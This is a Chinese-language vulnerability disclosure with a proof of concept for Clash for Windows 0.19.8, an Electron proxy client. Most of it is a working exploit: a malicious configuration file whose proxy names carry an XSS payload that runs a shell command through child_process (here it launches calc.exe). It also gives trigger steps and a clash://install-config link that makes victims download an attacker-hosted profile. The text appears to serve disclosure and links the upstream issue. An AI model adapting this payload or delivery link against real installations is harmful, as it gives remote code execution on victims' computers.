描述
crash_for_windows_pkg 由 Electron 提供支持。 如果 XSS 负载以代理的名义,我们可以远程执行受害者计算机上的任何 JavaScript 代码。
受影响的 clash_for_windows_pkg 版本
version: 0.19.8 (0.19.9版本还有其他漏洞触发,正好是0.19.9)
系统: Windows
系统版本: Windows 10
PoC
导入以下Clash配置文件:
port: 7890 socks-port: 7891 allow-lan: true mode: Rule log-level: info external-controller: :9090 proxies: - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: socks5 server: 127.0.0.1 port: "17938" skip-cert-verify: true - name: abc type: socks5 server: 127.0.0.1 port: "8088" skip-cert-verify: true proxy-groups: - name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: select proxies: - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
- 切换到这个"Profiles"
- 点击 "Proxies" 列(有时不需要。)
注意:
您需要确保有效负载显示在代理列中。
漏洞利用在理论上是稳定的,但有时可能需要重新启动 crash_for_windows_pkg 并重现漏洞
利用方式
将恶意配置文件放到互联网上并使用clash://
安装它,clash_for_windows_pkg 将自动下载并切换到它。
例如:clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE
CFW最新版本:https://github.com/Fndroid/clash_for_windows_pkg/releases
CFW漏洞issues:https://github.com/Fndroid/clash_for_windows_pkg/issues/2710#issue-1148197704